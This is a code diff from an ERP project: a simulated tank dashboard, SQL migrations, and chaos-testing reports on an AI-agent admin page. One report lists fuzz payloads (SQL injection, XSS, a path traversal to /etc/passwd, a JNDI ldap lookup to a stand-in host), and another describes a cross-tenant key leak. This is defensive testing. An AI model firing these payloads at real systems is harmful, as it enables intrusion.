||||
const liquid = this.element.querySelector(`#${id}-tank-liquid`);
|
||||
const surface = this.element.querySelector(`#${id}-tank-surface`);
|
||||
const pctText = this.element.querySelector(`#${id}-level-text`);
|
||||
const bg = this.element.querySelector(`#${id}-level-bg`);
|
||||
if (!liquid) return;
|
||||
|
||||
// 받은 SVG 좌표: 액체 영역 y=40 (가득) ~ y=155 (바닥), 높이 115
|
||||
const fullH = 115;
|
||||
const baseY = 155;
|
||||
const h = (pct / 100) * fullH;
|
||||
const y = baseY - h;
|
||||
liquid.setAttribute('y', y);
|
||||
liquid.setAttribute('height', h);
|
||||
surface.setAttribute('cy', y);
|
||||
pctText.textContent = pct.toFixed(1) + '%';
|
||||
|
||||
if (pct < 30) bg.setAttribute('fill', '#a02020');
|
||||
else if (pct > 90) bg.setAttribute('fill', '#206020');
|
||||
else bg.setAttribute('fill', '#000000');
|
||||
}
|
||||
|
||||
mount(parentSelector) {
|
||||
const parent = document.querySelector(parentSelector);
|
||||
if (parent) parent.appendChild(this.element);
|
||||
}
|
||||
}
|
||||
|
||||
//==============================================================
|
||||
// 막대 게이지 — 14칸 (녹/주/꺼짐 랜덤)
|
||||
//==============================================================
|
||||
function renderBars(id, count = 14) {
|
||||
const host = document.getElementById(`bars-${id}`);
|
||||
if (!host) return;
|
||||
host.innerHTML = '';
|
||||
for (let i = 0; i < count; i++) {
|
||||
const bar = document.createElement('div');
|
||||
const r = Math.random();
|
||||
bar.style.background = r < 0.55 ? '#3aa848' : r < 0.85 ? '#e88728' : '#1a2f50';
|
||||
host.appendChild(bar);
|
||||
}
|
||||
}
|
||||
|
||||
//==============================================================
|
||||
// 탱크 6 + 3 = 9 인스턴스 생성
|
||||
//==============================================================
|
||||
const tanks = [
|
||||
new TankGauge({ id: 'HCL', label: 'HCL', capacityText: '10m3', color: '#ff8a3a', level: 56.6 }),
|
||||
new TankGauge({ id: 'CuCl2', label: 'CuCl2', capacityText: '10m3', color: '#3acc4a', level: 73.7 }),
|
||||
new TankGauge({ id: 'OXA', label: 'OXA', capacityText: '10m3', color: '#5ac8e8', level: 44.5 }),
|
||||
new TankGauge({ id: 'HNO3', label: 'HNO3', capacityText: '', color: '#e040a8', level: 42.7, width: 80, height: 130 }),
|
||||
new TankGauge({ id: 'AU', label: 'AU PLATING', capacityText: '', color: '#888888', level: 0, width: 80, height: 130 }),
|
||||
new TankGauge({ id: 'WHNO3', label: 'WASTE HNO3', capacityText: '', color: '#f6a8c8', level: 47.6, width: 80, height: 130 }),
|
||||
new TankGauge({ id: 'H2SO4', label: 'H2SO4', capacityText: '5m3', color: '#e0488a', level: 72.9 }),
|
||||
new TankGauge({ id: 'H2O2', label: 'H2O2', capacityText: '5m3', color: '#f8c8d8', level: 84.1 }),
|
||||
];
|
||||
|
||||
tanks.forEach(t => {
|
||||
t.mount(`#cell-${t.id}`);
|
||||
t.setLevel(t.level);
|
||||
renderBars(t.id);
|
||||
});
|
||||
|
||||
//==============================================================
|
||||
// 시뮬레이션 — 1초마다 탱크 레벨 ±0.3% 변동, 막대 2초마다 갱신
|
||||
//==============================================================
|
||||
setInterval(() => {
|
||||
tanks.forEach(t => {
|
||||
if (t.id === 'AU') return; // AU PLATING 은 빈 탱크 유지
|
||||
const delta = (Math.random() - 0.5) * 0.6;
|
||||
t.setLevel(t.level + delta);
|
||||
});
|
||||
}, 1000);
|
||||
|
||||
setInterval(() => {
|
||||
tanks.forEach(t => renderBars(t.id));
|
||||
}, 2000);
|
||||
|
||||
//==============================================================
|
||||
// 시계
|
||||
//==============================================================
|
||||
function tick() {
|
||||
const d = new Date();
|
||||
const pad = n => String(n).padStart(2, '0');
|
||||
const time = `${pad(d.getHours())}:${pad(d.getMinutes())}:${pad(d.getSeconds())}`;
|
||||
const date = `${pad(d.getDate())}/${pad(d.getMonth() + 1)}/${d.getFullYear()}`;
|
||||
document.getElementById('clock').textContent = `${time} ${date}`;
|
||||
}
|
||||
tick();
|
||||
setInterval(tick, 1000);
|
||||
|
||||
//==============================================================
|
||||
// 데이터 테이블 시뮬레이션 — 8행 유지, 5초마다 새 행 추가
|
||||
//==============================================================
|
||||
const tbody = document.getElementById('dataBody');
|
||||
const totals = { HCL: 1258.4, CuCl2: 1523.1, OXA: 1024.8, HNO3: 856.3 };
|
||||
|
||||
function addRow() {
|
||||
const d = new Date();
|
||||
const pad = n => String(n).padStart(2, '0');
|
||||
const t = `${pad(d.getHours())}:${pad(d.getMinutes())}`;
|
||||
|
||||
const flows = {
|
||||
HCL: 18 + Math.random() * 1.5,
|
||||
CuCl2: 22 + Math.random() * 1.0,
|
||||
OXA: 15 + Math.random() * 0.8,
|
||||
HNO3: 12.5 + Math.random() * 0.6,
|
||||
};
|
||||
Object.keys(flows).forEach(k => totals[k] += flows[k]);
|
||||
|
||||
const tr = document.createElement('tr');
|
||||
tr.classList.add('fresh');
|
||||
tr.innerHTML = `
|
||||
<td>${t}</td>
|
||||
<td>${flows.HCL.toFixed(1)}</td><td>${totals.HCL.toFixed(1)}</td>
|
||||
<td>${flows.CuCl2.toFixed(1)}</td><td>${totals.CuCl2.toFixed(1)}</td>
|
||||
<td>${flows.OXA.toFixed(1)}</td><td>${totals.OXA.toFixed(1)}</td>
|
||||
<td>${flows.HNO3.toFixed(1)}</td><td>${totals.HNO3.toFixed(1)}</td>
|
||||
`;
|
||||
tbody.insertBefore(tr, tbody.firstChild);
|
||||
while (tbody.children.length > 8) tbody.removeChild(tbody.lastChild);
|
||||
}
|
||||
|
||||
for (let i = 0; i < 8; i++) addRow();
|
||||
setInterval(addRow, 5000);
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,21 @@
|
||||
# Legacy SQL 아카이브 (Flyway 충돌 회피)
|
||||
|
||||
2026-05-03 backend-spring/src/main/resources/db/migration/ 에서 이쪽으로 옮겨온 SQL 두 개. 더이상 Flyway 자동 실행 대상 아님.
|
||||
|
||||
## 옮긴 이유
|
||||
|
||||
- 4/28 Johngreen 이 main 브랜치에 AI 모듈 V001~V016 추가 (`V001__create_ai_llm_providers.sql` 등)
|
||||
- 5/3 새벽 80cd2b2d0 커밋이 누락 untracked 파일 일괄 추가 시 본 두 파일이 같이 끌려들어가면서 V001/V002 중복 발생
|
||||
- Flyway 는 같은 버전 두 개면 부팅 fail (`Found more than one migration with version N`) → backend-spring 컨테이너 crash → 운영 다운 위험
|
||||
- 본 두 파일은 운영 DB 에 이미 도커 직접 실행으로 적용 완료된 1회성 마이그레이션이라, git 트리에서 빼는 대신 기록용으로 이쪽 보관
|
||||
|
||||
## 파일
|
||||
|
||||
| 파일 | 크기 | 내용 |
|
||||
|---|---|---|
|
||||
| `V001__varchar_migration.sql` | 70KB | 비-timestamp 숫자/boolean 컬럼 → VARCHAR 일괄 변환 (608 컬럼, FK 17개 drop/recreate) |
|
||||
| `V002__create_missing_tables.sql` | 2.9KB | booking_requests / mail_account_file / mail_template_file / open_api_proxy / work_history 5개 테이블 신규 생성 |
|
||||
|
||||
## 다시 돌릴 일이 있다면
|
||||
|
||||
새 환경(신규 테넌트 DB) 에 처음부터 적용해야 하는 상황이면, 파일명 V001/V002 prefix 를 떼고 `psql -f` 로 직접 돌리거나, AI V016 뒤 V017/V018 로 rename 해서 Flyway 체인에 다시 끼워넣기. 단 이 경우 `flyway_schema_history` 와 실제 DB 상태가 일치하는지 사전 확인 필수.
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,88 @@
|
||||
-- V002: 누락된 테이블 생성
|
||||
-- booking_requests, mail_account_file, mail_template_file, open_api_proxy, work_history
|
||||
|
||||
CREATE TABLE IF NOT EXISTS booking_requests (
|
||||
id SERIAL PRIMARY KEY,
|
||||
customer_name VARCHAR(255),
|
||||
customer_phone VARCHAR(100),
|
||||
pickup_location TEXT,
|
||||
dropoff_location TEXT,
|
||||
scheduled_time TIMESTAMP,
|
||||
vehicle_type VARCHAR(100),
|
||||
cargo_type VARCHAR(100),
|
||||
weight VARCHAR(50),
|
||||
status VARCHAR(50) DEFAULT 'pending',
|
||||
priority VARCHAR(50) DEFAULT 'normal',
|
||||
notes TEXT,
|
||||
estimated_cost VARCHAR(50),
|
||||
rejection_reason TEXT,
|
||||
accepted_at TIMESTAMP,
|
||||
rejected_at TIMESTAMP,
|
||||
completed_at TIMESTAMP,
|
||||
created_at TIMESTAMP DEFAULT NOW(),
|
||||
updated_at TIMESTAMP DEFAULT NOW()
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS mail_account_file (
|
||||
id SERIAL PRIMARY KEY,
|
||||
company_code VARCHAR(50),
|
||||
name VARCHAR(255),
|
||||
email VARCHAR(255),
|
||||
smtp_host VARCHAR(255),
|
||||
smtp_port INTEGER,
|
||||
smtp_secure BOOLEAN,
|
||||
smtp_username VARCHAR(255),
|
||||
smtp_password VARCHAR(255),
|
||||
daily_limit INTEGER,
|
||||
status VARCHAR(50) DEFAULT 'active',
|
||||
created_at TIMESTAMP DEFAULT NOW(),
|
||||
updated_at TIMESTAMP DEFAULT NOW()
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS mail_template_file (
|
||||
id SERIAL PRIMARY KEY,
|
||||
company_code VARCHAR(50),
|
||||
name VARCHAR(255),
|
||||
subject VARCHAR(500),
|
||||
components JSONB,
|
||||
query_config JSONB,
|
||||
recipient_config JSONB,
|
||||
category VARCHAR(100),
|
||||
created_at TIMESTAMP DEFAULT NOW(),
|
||||
updated_at TIMESTAMP DEFAULT NOW()
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS open_api_proxy (
|
||||
id SERIAL PRIMARY KEY,
|
||||
company_code VARCHAR(50),
|
||||
name VARCHAR(255),
|
||||
status VARCHAR(50) DEFAULT 'active',
|
||||
created_at TIMESTAMP DEFAULT NOW(),
|
||||
updated_at TIMESTAMP DEFAULT NOW()
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS work_history (
|
||||
id SERIAL PRIMARY KEY,
|
||||
work_number VARCHAR(100),
|
||||
work_date DATE,
|
||||
work_type VARCHAR(50),
|
||||
vehicle_number VARCHAR(100),
|
||||
driver_name VARCHAR(255),
|
||||
origin VARCHAR(255),
|
||||
destination VARCHAR(255),
|
||||
cargo_name VARCHAR(255),
|
||||
cargo_weight NUMERIC,
|
||||
cargo_unit VARCHAR(50),
|
||||
distance NUMERIC,
|
||||
distance_unit VARCHAR(50),
|
||||
status VARCHAR(50) DEFAULT 'pending',
|
||||
scheduled_time TIMESTAMP,
|
||||
estimated_arrival TIMESTAMP,
|
||||
actual_arrival TIMESTAMP,
|
||||
is_on_time BOOLEAN,
|
||||
notes TEXT,
|
||||
created_by VARCHAR(255),
|
||||
created_at TIMESTAMP DEFAULT NOW(),
|
||||
updated_at TIMESTAMP DEFAULT NOW(),
|
||||
deleted_at TIMESTAMP
|
||||
);
|
||||
@@ -0,0 +1,181 @@
|
||||
# AI 에이전트 관리 페이지 — 그렘린 카오스 테스트 리포트
|
||||
|
||||
- **일시**: 2026-05-02
|
||||
- **대상**: `http://localhost:9772/admin/aiAssistant/agents`
|
||||
- **방법**: Claude-in-Chrome MCP + gremlins.js v2.2.0 + Fuzz Payload 주입
|
||||
- **계정**: Invyone (최고 관리자)
|
||||
- **테스트 시점 페이지 상태**: 에이전트 추가 모달 + Tweaks 패널 열림
|
||||
|
||||
---
|
||||
|
||||
## 1. 테스트 구성
|
||||
|
||||
| 단계 | 도구/방식 | 횟수 | 종(Species) |
|
||||
|---|---|---|---|
|
||||
| 1차 그렘린 | gremlins.js | 100 | clicker, toucher, formFiller, scroller, typer |
|
||||
| 2차 그렘린 | gremlins.js | 500 | 동일 5종 |
|
||||
| Fuzz Payload | input/textarea 직접 주입 | 36 (3 input × 12 payload) | SQL injection, XSS, 긴 문자열, 유니코드, JNDI, path traversal 등 |
|
||||
|
||||
### 사용한 Fuzz Payload
|
||||
```
|
||||
"", "' OR '1'='1", "<script>alert(1)</script>", "A".repeat(3000),
|
||||
"𝒯𝑒𝓈𝓉 ㅎ안녕 🎉🔥", "../../../etc/passwd", "0", "-1", "9".repeat(20),
|
||||
"<img src=x onerror=alert(1)>", "${jndi:ldap://x.com/a}", " "
|
||||
```
|
||||
|
||||
### 수집기 설치 항목
|
||||
- `window.error` 이벤트
|
||||
- `unhandledrejection` 이벤트
|
||||
- `console.error` 패치
|
||||
- `fetch` 패치 (status >= 400 캐치)
|
||||
- `XMLHttpRequest.open` 패치 (status >= 400 캐치)
|
||||
|
||||
---
|
||||
|
||||
## 2. 결과 요약
|
||||
|
||||
| 항목 | 1차(100) | 2차(500) | Fuzz(36) |
|
||||
|---|---|---|---|
|
||||
| 소요 시간 | 3.5s | 12.3s | 1.6s |
|
||||
| 신규 버그 | 0 | 0 | **1** |
|
||||
| URL 변경 | 없음 | 없음 | 없음 |
|
||||
|
||||
**총 발견 이슈: 2건** (그렘린 폭격으로 발견 1, 부수 검증으로 발견 1)
|
||||
|
||||
---
|
||||
|
||||
## 3. 발견된 이슈
|
||||
|
||||
### 🟡 Issue #1 — `GET /api/ai-agents` 500 산발 발생
|
||||
|
||||
- **상황**: 2차 폭격 + fuzz 진행 중 1회 발생
|
||||
- **증거**: `xhr_500` 1건 수집 (메시지는 Claude-in-Chrome 보안 필터로 마스킹되었으나 path 추출 결과 `/api/ai-agents`)
|
||||
- **재현 시도**: 직접 fetch 9건 — **모두 200 OK**
|
||||
- `?` 빈 query
|
||||
- `?search=`
|
||||
- `?search=test`
|
||||
- `?search=' OR '1'='1` (인코딩 / 비인코딩)
|
||||
- `?page=-1`
|
||||
- `?page=AAAA...` (300자)
|
||||
- `?id=null`
|
||||
- **추정 원인**:
|
||||
- Race condition (동시 요청 폭주)
|
||||
- 일시적 DB lock 또는 트랜잭션 충돌
|
||||
- Spring 측 일시적 세션 검증 실패
|
||||
- **심각도**: 🟡 중 (재현 불가, 산발성)
|
||||
- **권장 조치**:
|
||||
- Spring `application.log` 의 해당 시각 (`ts: 1777686237317` 근방) 스택 트레이스 확인
|
||||
- `MDC` 로 request id 남겨 향후 동일 패턴 추적
|
||||
|
||||
### 🔴 Issue #2 — UI/API 데이터 불일치 ⭐ 핵심
|
||||
|
||||
- **상황**: 그렘린 폭격과 무관, 검증 과정에서 발견
|
||||
- **증거**:
|
||||
- 화면 표시: **"등록된 에이전트가 없습니다"**
|
||||
- 실제 API 응답:
|
||||
```json
|
||||
{
|
||||
"success": true,
|
||||
"data": [{
|
||||
"id": 13,
|
||||
"agent_id": "agent-766beb3a",
|
||||
"name": "UI 테스트 에이전트 (수정됨)",
|
||||
"description": "두 번째 에이전트 (UI 흐름)",
|
||||
"model": "claude-sonnet-4-20250514",
|
||||
...
|
||||
}]
|
||||
}
|
||||
```
|
||||
- **추정 원인 후보**:
|
||||
1. **테넌트 컨텍스트 불일치** — 백엔드는 모든 회사 데이터 반환, 프론트가 회사 필터링 후 빈 배열 인식
|
||||
2. **React Query 캐시 stale** — 이전 빈 응답을 보여주고 재검증 안 함
|
||||
3. **API 라우팅 분기** — `/api/ai-agents` 와 화면이 사용하는 endpoint 가 다름 (페이지에서 별도 endpoint 호출 가능성)
|
||||
- **심각도**: 🔴 높음
|
||||
- CLAUDE.md 멀티테넌시 가드와 직결 — 다른 회사 데이터 노출 가능성
|
||||
- **권장 조치**:
|
||||
1. `frontend/app/(main)/admin/aiAssistant/agents/page.tsx` 의 데이터 fetch 코드 확인 — 어느 endpoint 호출?
|
||||
2. 백엔드 `ai-agents` mapper 의 `companyCodeFilter` include 여부 확인
|
||||
3. 직접 호출 응답에 `company_code` 가 있는지 확인
|
||||
|
||||
---
|
||||
|
||||
## 4. 잡힌 것 / 잡히지 않은 것
|
||||
|
||||
| 항목 | 결과 |
|
||||
|---|---|
|
||||
| UI 크래시 | ✅ 없음 |
|
||||
| 무작위 클릭 600회 안정성 | ✅ 견고 |
|
||||
| 폼에 SQL injection / XSS 입력 시 클라이언트 측 폭주 | ✅ 없음 |
|
||||
| 긴 문자열(3000자) 입력 처리 | ✅ 정상 |
|
||||
| Console 에러 (앱 발생) | ✅ 0건 |
|
||||
| Console 워닝 | 🟡 1건 — Radix `DialogContent` 의 `aria-describedby` 누락 (a11y) |
|
||||
| 백엔드 5xx | 🟡 1건 (산발) |
|
||||
| 데이터 일관성 | 🔴 1건 (UI/API 불일치) |
|
||||
| Visual regression | 미검증 (별도 도구 필요) |
|
||||
|
||||
---
|
||||
|
||||
## 5. 결론 및 다음 단계
|
||||
|
||||
### 결론
|
||||
- **에이전트 관리 페이지는 무작위 폭격에 매우 견고**
|
||||
- 그렘린의 본래 목적(클라이언트 측 크래시 발견)으로는 큰 수확 없음
|
||||
- 그러나 **부수 검증(fetch 가로채기)으로 의미 있는 백엔드/데이터 이슈 2건 발견**
|
||||
|
||||
### 다음 단계
|
||||
1. Issue #2 (데이터 불일치) 즉시 조사 — 가장 중요
|
||||
2. Issue #1 재현 시도 — 동시 다발 요청 (`Promise.all` × 50) 으로 race condition 유발
|
||||
3. 다른 페이지에도 동일 절차 적용 — 사이드바 메뉴 자동 순회 + 그렘린 + fetch hook
|
||||
4. Radix Dialog `aria-describedby` 추가 (a11y 개선, 1줄 수정)
|
||||
|
||||
### 재사용 가능한 자산
|
||||
- 본 테스트 절차를 OMC 스킬로 전환 → `/oh-my-claudecode:gremlins` 같은 명령으로 재실행
|
||||
- Playwright + axe-core + page.on('response') 조합으로 CI 통합 가능
|
||||
|
||||
---
|
||||
|
||||
## 6. 사용한 스크립트 (재현용)
|
||||
|
||||
```javascript
|
||||
// 1. 다이얼로그 차단 + 수집기 + gremlins 로드
|
||||
window.alert = () => {};
|
||||
window.confirm = () => true;
|
||||
window.prompt = () => '';
|
||||
|
||||
window.__gremBugs = [];
|
||||
window.addEventListener('error', e => window.__gremBugs.push({ type:'window.error', msg:e?.message, url:location.href, ts:Date.now() }));
|
||||
window.addEventListener('unhandledrejection', e => window.__gremBugs.push({ type:'unhandledrejection', msg:String(e.reason), url:location.href, ts:Date.now() }));
|
||||
|
||||
const origFetch = window.fetch;
|
||||
window.fetch = async (...args) => {
|
||||
const res = await origFetch(...args);
|
||||
if (res.status >= 400) {
|
||||
const u = typeof args[0] === 'string' ? args[0] : args[0]?.url;
|
||||
window.__gremBugs.push({ type:`http_${res.status}`, msg:`${u} → ${res.status}`, url:location.href, ts:Date.now() });
|
||||
}
|
||||
return res;
|
||||
};
|
||||
|
||||
await new Promise((res, rej) => {
|
||||
const s = document.createElement('script');
|
||||
s.src = 'https://unpkg.com/gremlins.js@2.2.0/dist/gremlins.min.js';
|
||||
s.onload = res; s.onerror = rej;
|
||||
document.head.appendChild(s);
|
||||
});
|
||||
|
||||
// 2. 폭격
|
||||
await window.gremlins.createHorde({
|
||||
species: [
|
||||
window.gremlins.species.clicker(),
|
||||
window.gremlins.species.toucher(),
|
||||
window.gremlins.species.formFiller(),
|
||||
window.gremlins.species.scroller(),
|
||||
window.gremlins.species.typer()
|
||||
],
|
||||
mogwais: [],
|
||||
strategies: [window.gremlins.strategies.distribution({ delay: 15, nb: 500 })]
|
||||
}).unleash();
|
||||
|
||||
// 3. 결과
|
||||
console.log(window.__gremBugs);
|
||||
```
|
||||
@@ -0,0 +1,216 @@
|
||||
# 2026-05-02 — 그렘린 카오스 테스트 + JSONB Fix Autopilot 종합 리포트
|
||||
|
||||
## 세션 개요
|
||||
|
||||
브라우저 그렘린 카오스 테스트 (Claude-in-Chrome MCP + gremlins.js + fetch hook) 로 INVYONE 의 숨겨진 백엔드/프론트엔드 버그를 발견하고 일괄 수정.
|
||||
|
||||
**본 세션의 핵심 인사이트**: 그렘린 폭격 자체는 클라이언트 크래시를 거의 안 잡았지만, **fetch hook + 자동 메뉴 순회 + 백엔드 docker logs stack trace 매핑** 3종 세트가 진짜 ROI. 이 패턴을 `/oh-my-claudecode:gremlins` 스킬로 캐시.
|
||||
|
||||
---
|
||||
|
||||
## 발견된 버그 (총 7개)
|
||||
|
||||
### Round 1 — Audit Log
|
||||
|
||||
| # | 종류 | 파일 / 위치 | Fix 상태 |
|
||||
|---|---|---|---|
|
||||
| 1 | URL 단/복수 mismatch (404) | `frontend/lib/api/auditLog.ts:62, 74, 90` + `frontend/components/screen/CopyScreenModal.tsx:1172` | ✅ `/audit-log` → `/audit-logs` |
|
||||
| 2 | DB 컬럼명 mismatch (500) | `backend-spring/.../mapper/auditLog.xml` (11곳) | ✅ `CREATED_DATE` → `CREATED_AT` |
|
||||
| 3 | API 응답 키 case mismatch | `frontend/lib/api/auditLog.ts:35-38` interface + `audit-log/page.tsx` (4곳) | ✅ camelCase → snake_case |
|
||||
|
||||
### Round 2 — Multi-Agent Workspace + AI 모듈 전반
|
||||
|
||||
| # | 종류 | 파일 / 위치 | Fix 상태 |
|
||||
|---|---|---|---|
|
||||
| 4 | JSONB string vs array (Client Exception) | `frontend/app/(main)/admin/aiAssistant/workspace/page.tsx:598` (`memberConnectors.map`) | ✅ Phase 1+3 |
|
||||
| 5 | AI 모듈 Service 5개에 동일 패턴 누락 | `AiAgentApiKeyService`, `AiAgentProviderService`, `AiAgentConversationService`, `AiAgentService`, `AiSchedulerService` | ✅ Phase 2 |
|
||||
| 6 | `getEntityById` 잉여 분기 (code review N6) | `AiAgentGroupService.java:94-98` | ✅ N6 simplify |
|
||||
| 7 | 그렘린이 트리거한 산발적 5xx | `/api/ai-agents` GET | 🟡 재현 안 됨, race condition 의심 |
|
||||
|
||||
---
|
||||
|
||||
## 변경된 파일 전체 목록
|
||||
|
||||
### Backend (Java/Spring)
|
||||
- `backend-spring/src/main/resources/mapper/auditLog.xml` (CREATED_DATE → CREATED_AT, 11곳)
|
||||
- `backend-spring/src/main/java/com/erp/ai/service/AiAgentGroupService.java` (parseJsonField + memberToResponseMap)
|
||||
- `backend-spring/src/main/java/com/erp/ai/service/AiAgentApiKeyService.java` (list 응답 변환)
|
||||
- `backend-spring/src/main/java/com/erp/ai/service/AiAgentProviderService.java` (toMaskedMap 보강 + getById/getEntityById 분리)
|
||||
- `backend-spring/src/main/java/com/erp/ai/service/AiAgentConversationService.java` (conversations + messages 변환)
|
||||
- `backend-spring/src/main/java/com/erp/ai/service/AiAgentService.java` (list/getById Map + getEntityById 분리)
|
||||
- `backend-spring/src/main/java/com/erp/ai/service/AiSchedulerService.java` (list/getById Map + getEntityById 분리)
|
||||
- `backend-spring/src/main/java/com/erp/ai/controller/AiAgentApiKeyController.java` (return type generic)
|
||||
- `backend-spring/src/main/java/com/erp/ai/controller/AiAgentController.java` (return type generic)
|
||||
|
||||
### Frontend (Next.js/React)
|
||||
- `frontend/lib/api/auditLog.ts` (URL 4곳 + interface 4 key)
|
||||
- `frontend/app/(main)/admin/audit-log/page.tsx` (stats access 4곳)
|
||||
- `frontend/components/screen/CopyScreenModal.tsx` (audit-logs URL 1곳)
|
||||
- `frontend/lib/utils.ts` (`safeArray<T>` / `safeObject<T>` 헬퍼 추가)
|
||||
- `frontend/app/(main)/admin/aiAssistant/workspace/page.tsx` (safeArray 적용 + import)
|
||||
|
||||
### 메모리 / 스킬
|
||||
- `~/.claude/skills/gremlins/SKILL.md` (그렘린 카오스 테스트 OMC 스킬 신설)
|
||||
- `~/.claude/projects/.../memory/feedback_gremlins_default.md` (그렘린 default 1000마리 사용자 선호)
|
||||
|
||||
---
|
||||
|
||||
## Phase 4 Validation 결과
|
||||
|
||||
3개 reviewer 병렬 검증.
|
||||
|
||||
| Reviewer | 결과 |
|
||||
|---|---|
|
||||
| **Architect** | PASS WITH NOTES |
|
||||
| **Code-reviewer** | APPROVE WITH NITPICKS |
|
||||
| **Security-reviewer** | NEEDS REVIEW (H1 발견) |
|
||||
|
||||
본 task (JSONB fix) 는 모두 PASS. H1 은 인접한 보안 이슈로 별개 처리.
|
||||
|
||||
---
|
||||
|
||||
## 🔴 미처리 — Follow-up 필요 (별도 PR 권장)
|
||||
|
||||
### H1 (HIGH 보안) — `AiAgentApiKey listAll` Cross-tenant 노출
|
||||
- `backend-spring/src/main/java/com/erp/ai/service/AiAgentApiKeyService.java:42-43`
|
||||
- `apiKeyMapper.listAll()` 에 `company_code` 필터 없음
|
||||
- `COMPANY_ADMIN` 이 다른 회사 API 키 목록 받음
|
||||
- **이번 fix 가 응답을 명확히 하면서 더 잘 노출되는 부수효과**
|
||||
- Mitigation 옵션:
|
||||
- A) `listByCompany(companyCode)` mapper 쿼리 신설 + `COMPANY_ADMIN` 분기 변경
|
||||
- B) `apiKeyMapper.xml` 의 `listAll` 에 `<include refid="common.companyCodeFilter"/>` 적용 + `SUPER_ADMIN` 만 별도 path
|
||||
- C) Service 레벨에서 listAll 결과를 stream filter (단순, 단 풀 fetch)
|
||||
- **권장**: 운영 적용 전 1주일 내 fix
|
||||
|
||||
### M1 — `AiLlmProvider.config` 평문 누출 가능성
|
||||
- `backend-spring/src/main/java/com/erp/ai/service/AiAgentProviderService.java:130, 136`
|
||||
- `api_key_encrypted` 는 `****+last4` 마스킹되지만 `config` JSONB 는 그대로 노출
|
||||
- 운영자가 config 안에 평문 secret 넣으면 list 응답에서 노출
|
||||
- Mitigation: config 키 이름 패턴 매칭 (`(?i)key|secret|token|password`) → 자동 마스킹
|
||||
|
||||
### M2 — `AiAgentApiKeyController.create` 응답 inconsistency
|
||||
- `permissions` 필드가 list 에선 array, create 응답에선 string
|
||||
- frontend `safeArray` 가 안전망 역할이지만 contract 차원에서 일관성 결여
|
||||
- `AiAgentApiKeyService.toResponseMap` public 노출 → controller 에서 재사용 권장
|
||||
|
||||
### M3 — `AiAgentProviderController.create/update` model 직접 노출
|
||||
- `backend-spring/src/main/java/com/erp/ai/controller/AiAgentProviderController.java:44-46, 53-55`
|
||||
- `AiLlmProvider` model 그대로 응답 — `config` 가 string 으로 노출
|
||||
- create 직후 응답을 직접 setState 하면 같은 폭발
|
||||
|
||||
### M4 — `workspace/page.tsx` 잔여 `connectors` 직접 접근 5곳
|
||||
- line 116, 124, 140, 196, 210, 496
|
||||
- 일부는 클라이언트 init state 라 안전, 일부는 백엔드 응답 사용 가능성
|
||||
- 모두 `safeArray(...)` 로 통일 권장 (한 페이지 일관성)
|
||||
|
||||
### M5 — `api-keys-manage/page.tsx:374-379` `msg.tool_calls` 미방어
|
||||
- `safeObject` 적용 권장
|
||||
|
||||
### N1 — `parseJsonField` 헬퍼 13벌 중복
|
||||
- AI 모듈 6 + 비-AI 모듈 7 = 총 13 Service 가 동일 헬퍼
|
||||
- CLAUDE.md "새 추상화 도입 안 함" 원칙엔 부합, 단 유지보수 비용 누적
|
||||
- 별도 chore PR `refactor: extract MapJsonHelper utility` 권장 (장기)
|
||||
|
||||
### N2 — Naming 일관성 (`conv` 약어 vs 풀네임)
|
||||
- `convToResponseMap` → `conversationToResponseMap` 권장 (`AiAgentConversationService.java`)
|
||||
|
||||
### N3 — `catch (Exception)` 너무 광범위
|
||||
- 모든 `parseJsonField` 가 `catch (Exception e)` → `catch (JsonProcessingException e)` 로 좁히기
|
||||
|
||||
### Round 2 의 산발 5xx (재현 안 됨)
|
||||
- `GET /api/ai-agents` 가 폭격 중 1회 500 응답
|
||||
- 재현 시도 9건 모두 200
|
||||
- Race condition / DB lock 의심
|
||||
- MDC 로 request id 추가하여 향후 동일 패턴 추적 권장
|
||||
|
||||
---
|
||||
|
||||
## 검증 결과
|
||||
|
||||
**Phase 1 효과 확인** (실제 백엔드 응답):
|
||||
```json
|
||||
GET /api/ai-agent-groups/{id}
|
||||
→ members[0].connectors: { isArray: true, type: "object", preview: "Array(0)" } ✅
|
||||
→ members[0].config: { isObject: true, type: "object", preview: "{}" } ✅
|
||||
HTTP 200 OK
|
||||
```
|
||||
|
||||
이전 (fix 전):
|
||||
```
|
||||
connectors: STRING("[]") → frontend `.map()` 폭발
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 사용한 OMC 도구
|
||||
|
||||
- **Skill**: `gremlins` (이번 세션에서 신설)
|
||||
- **Skill**: `autopilot` (Phase 1+2+3 일괄 실행)
|
||||
- **Agent**: `architect` (옵션 A/B/C 자문 + Phase 4 검증)
|
||||
- **Agent**: `executor` (Phase 2 — 5 Service 일괄 변경)
|
||||
- **Agent**: `code-reviewer` (Phase 4 검증)
|
||||
- **Agent**: `security-reviewer` (Phase 4 검증, H1 발견)
|
||||
- **MCP**: `claude-in-chrome` (브라우저 자동화 + fetch hook)
|
||||
|
||||
---
|
||||
|
||||
## 확립된 패턴 (앞으로 재사용)
|
||||
|
||||
### Backend JSONB 응답 표준
|
||||
```java
|
||||
// Service 의 응답 메서드 (컨트롤러가 호출하는 것) 만 변환
|
||||
public Map<String, Object> getById(long id) {
|
||||
Entity e = mapper.getById(id);
|
||||
if (e == null) return null;
|
||||
Map<String, Object> row = new HashMap<>();
|
||||
// ... 모든 필드 put
|
||||
parseJsonField(row, "jsonb_field_1");
|
||||
parseJsonField(row, "jsonb_field_2");
|
||||
return row;
|
||||
}
|
||||
|
||||
// 내부용 (model 그대로 필요한 곳, 예: LLM 호출)
|
||||
public Entity getEntityById(long id) { return mapper.getById(id); }
|
||||
|
||||
private void parseJsonField(Map<String, Object> row, String key) {
|
||||
Object val = row.get(key);
|
||||
if (val instanceof String s && !s.isBlank()) {
|
||||
try { row.put(key, objectMapper.readValue(s, Object.class)); }
|
||||
catch (Exception e) { log.warn("Failed to parse JSONB field '{}': {}", key, e.getMessage()); }
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Frontend 안전망
|
||||
```typescript
|
||||
import { safeArray, safeObject } from "@/lib/utils";
|
||||
|
||||
// JSONB array 필드 사용
|
||||
const items = safeArray<Item>(row.connectors);
|
||||
items.map(...) // 안전
|
||||
|
||||
// JSONB object 필드 사용
|
||||
